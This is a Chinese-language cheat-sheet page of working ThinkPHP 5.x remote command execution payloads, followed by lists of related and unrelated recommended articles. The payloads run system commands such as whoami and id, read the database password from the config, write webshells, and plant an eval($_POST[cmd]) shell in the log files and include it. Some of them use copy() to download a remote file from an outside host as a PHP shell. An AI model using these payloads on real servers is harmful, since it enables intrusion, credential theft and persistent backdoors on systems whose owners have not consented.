thinkPHP命令执行漏洞
thinkPHP中反斜杠的作用是类库\命名空间
命令执行的姿势
通过反射invokefunction调用call_user_func_array方法,call_user_func_array函数接受两个参数,第一个为函数名,第二个为函数参数数组,如下所示,通过call_user_func_array函数调用system执行whoami函数
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
执行php代码
?s=index/\think\Request/input&filter=phpinfo&data=1
获取当前数据库名称
?s=index/think\config/get&name=database.hostname
获取当前数据库密码
?s=index/think\config/get&name=database.password
执行php代码
?s=index/\think\view\driver\Php/display&content=<?php%20phpinfo();?>
执行php代码
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
执行php代码
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
执行php代码
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
执行php代码
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
getshell的姿势
写入getshell (file_put_contents应该也行)
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php%20phpinfo();?>
使用echo写入shell
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('http://ip/1.xxx','test.php')
一种新的方法
先判断以下代码是否能正常回显
使用post方法请求
请求路径:index.php?s=captcha
请求实体:_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
写入shell到日志中
post请求
请求路径:index.php?s=captcha
请求实体:_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST[cmd]); ?>
使用文件包含将日志文件可当作php文件进行执行(注意日志文件路径和名称)
post请求
请求路径:index.php?s=captcha
请求实体:_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/201905/04.log
通过一句话copy新一句话文件(echo)
post请求
请求实体:index.php?s=captcha
请求路径:_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/201905/04.log&cmd=echo copy("https://ip/1.txt","/web绝对路径/2.php");
thinkPHP 5X 在PHP7以上环境下的 GETSHELL
thinkPHP命令执行漏洞的更多相关文章
- ThinkPHP 5.x远程命令执行漏洞复现
ThinkPHP 5.x远程命令执行漏洞复现 一.漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.th ...
- ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞
ThinkPHP 5.0.x.5.1.x.5.2.x 全版本远程代码执行漏洞 作者:SoulCat. 来源:CSDN 原文:https://blog.csdn.net/csacs/article/de ...
- thinkphp5.x命令执行漏洞复现及环境搭建
楼主Linux环境是Centos7,LAMP怎么搭不用我废话吧,别看错了 一.thinkphp5.X系列 1.安装composer yum -y install composer 安装php拓展 yu ...
- HFS远程命令执行漏洞入侵抓鸡黑阔服务器
先来科普一下: HFS是什么? hfs网络文件服务器 2.3是专为个人用户所设计的HTTP档案系统,如果您觉得架设FTP Server太麻烦,那么这个软件可以提供您更方便的网络文件传输系统,下载后无须 ...
- ASP代码审计 -4.命令执行漏洞总结
命令执行漏洞: 保存为cmd.asp,提交链接: http://localhost/cmd.asp?ip=127.0.0.1 即可执行命令 <%ip=request("ip" ...
- Samba 4.x.x全版本存在命令执行漏洞
Samba 4.0.0到4.1.10版本的nmbd(the NetBIOS name services daemon)被发现存在远程命令执行漏洞.CVE编号为CVE-2014-3560.目前官方已经发 ...
- 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...
- JBOSSAS 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)
本文主要记录一下JBOSSAS 5.x/6.x 反序列化命令执行漏洞的测试过程 仅供学习 文中利用到漏洞环境由phith0n维护: JBoss 5.x/6.x 反序列化漏洞(CVE-2017-1214 ...
- Kali学习笔记30:身份认证与命令执行漏洞
文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 实验环境: Kali机器:192.168.163.13 ...
随机推荐
- 第六章 IP基本原理
一.引入 1.IP是网络层协议,也是当今应用最广泛的网络协议之一 2.IP协议规定了数据的封装方式,网络节点的标识方法,用于网络上数据的端到端的传递. 二.IP协议概述 1.IP及相关协议 2.IP的 ...
- Python中while循环初识
基本结构 while 条件: 循环体 基本原理: 1.先判断条件是否为True 2.如果是True进入循环体 3.执行到循环体的底部 4.继续判断条件,条件为True,再次进入 ...
- Kettle学习笔记(一)
Kettle简介 Kettle是一款国外开源的ETL工具,纯java编写,可以在Windows.Linux.Unix上运行,s数据抽取高效稳定.Kettle 中文名称叫水壶,该项目的主程序员MATT ...
- JavaWeb学习笔记(六)jsp
第六章.jsp 1.什么是jsp jsp:java server pages,java的服务器页面 作用:代替Servlet回传HTML页面的数据 因为Servlet程序回传HTML页面的数据很繁琐, ...
- windows10下IntelliJ IDEA使用logback设置日志输出目录
1.在项目的src/main/resources目录下新建文件:logback-spring.xml 2:在logback-spring.xml中进行如下配置: <?xml version=&q ...
- Django (学习第二部 ORM 模型层)
Django对数据库的操作 Django的 ORM 简介 ORM操作 (增删改查) ORM操作数据库的增删改查 ORM创建表关系 ORM中常用字段及参数 数据库的查询优化 ORM中如何开启事务 ORM ...
- python自动化测试,读取excal数据报"'str' object has no attribute 'items'"问题解决
通过python进行自动化测试,为了方便,对代码和数据进行了分离,此处把测试数据放到了excal表格中.requests.post请求时报"'str' object has no attri ...
- vue-cli中使用全局less变量
1.执行 vue add style-resources-loader 命令,选择less 2.在 vue.config.js中添加配置,注意将路径更改为自己存放less变量文件的地址 // 全局使用 ...
- day81:luffy:课程分类页面&课程信息页面&指定分类显示课程信息&分页显示课程信息
目录 1.构建课程前端初始页面 2.course后端的准备工作 3.后端实现课程分类列表接口 4.前端发送请求-获取课程分类信息 5.后端实现课程列表信息的接口 6.前端显示列表课程信息 7.按照指定 ...
- 团灭 LeetCode 股票买卖问题
很多读者抱怨 LeetCode 的股票系列问题奇技淫巧太多,如果面试真的遇到这类问题,基本不会想到那些巧妙的办法,怎么办?所以本文拒绝奇技淫巧,而是稳扎稳打,只用一种通用方法解决所用问题,以不变应万变 ...